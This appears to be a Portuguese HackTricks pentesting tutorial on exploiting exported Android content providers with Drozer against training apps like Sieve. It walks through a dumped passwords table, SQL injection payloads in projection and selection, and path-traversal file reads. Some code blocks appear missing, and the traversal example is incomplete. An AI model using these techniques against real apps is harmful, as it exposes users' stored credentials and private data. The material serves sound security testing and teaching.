10 KiB
Explorando Provedores de Conteúdo
Explorando Provedores de Conteúdo
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Introdução
Os dados são fornecidos de um aplicativo para outros mediante solicitação por um componente conhecido como provedor de conteúdo. Essas solicitações são gerenciadas por meio dos métodos da classe ContentResolver. Os provedores de conteúdo podem armazenar seus dados em vários locais, como um banco de dados, arquivos ou em uma rede.
No arquivo Manifest.xml, é necessária a declaração do provedor de conteúdo. Por exemplo:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Para acessar content://com.mwr.example.sieve.DBContentProvider/Keys
, a permissão READ_KEYS
é necessária. É interessante notar que o caminho /Keys/
é acessível na seguinte seção, a qual não está protegida devido a um erro do desenvolvedor, que protegeu /Keys
mas declarou /Keys/
.
Talvez seja possível acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Traversal de Caminho).
Obter informações de provedores de conteúdo expostos
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
É possível juntar como alcançar o DBContentProvider começando URIs com "content://". Esta abordagem é baseada em insights obtidos ao usar o Drozer, onde informações-chave foram localizadas no diretório /Keys.
O Drozer pode adivinhar e tentar várias URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Deve também verificar o código do ContentProvider para procurar por consultas:
Além disso, se não conseguir encontrar consultas completas, poderia verificar quais nomes são declarados pelo ContentProvider no método onCreate
:
A consulta será assim: content://nome.do.pacote.classe/nome_declarado
Provedores de Conteúdo com Banco de Dados
Provavelmente a maioria dos Provedores de Conteúdo são usados como interface para um banco de dados. Portanto, se você puder acessá-lo, poderá extrair, atualizar, inserir e excluir informações.
Verifique se é possível acessar informações sensíveis ou tente alterá-las para burlar mecanismos de autorização.
Ao verificar o código do Provedor de Conteúdo, procure também por funções com nomes como: query, insert, update e delete:
Porque você será capaz de chamá-las
Consulta de conteúdo
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Inserir conteúdo
Ao consultar o banco de dados, você aprenderá o nome das colunas, então, você poderá inserir dados no banco de dados:
Observe que na inserção e atualização você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean
Atualizar conteúdo
Conhecendo o nome das colunas, você também poderá modificar as entradas:
Excluir conteúdo
Injeção de SQL
É simples testar a injeção de SQL (SQLite) manipulando os campos de projeção e seleção que são passados para o provedor de conteúdo.
Ao consultar o Provedor de Conteúdo, existem 2 argumentos interessantes para buscar informações: --seleção e --projeção:
Você pode tentar abusar desses parâmetros para testar as injeções de SQL:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Descoberta automática de SQLInjection pelo Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Provedores de Conteúdo com Suporte ao Sistema de Arquivos
Os provedores de conteúdo também podem ser usados para acessar arquivos:
Ler um arquivo
Você pode ler arquivos do Provedor de Conteúdo.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Travessia de Caminho
Se você pode acessar arquivos, você pode tentar abusar de uma Travessia de Caminho (neste caso, isso não é necessário, mas você pode tentar usar "../" e truques similares).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Descoberta automática de Traversal de Caminho pelo Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Referências
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.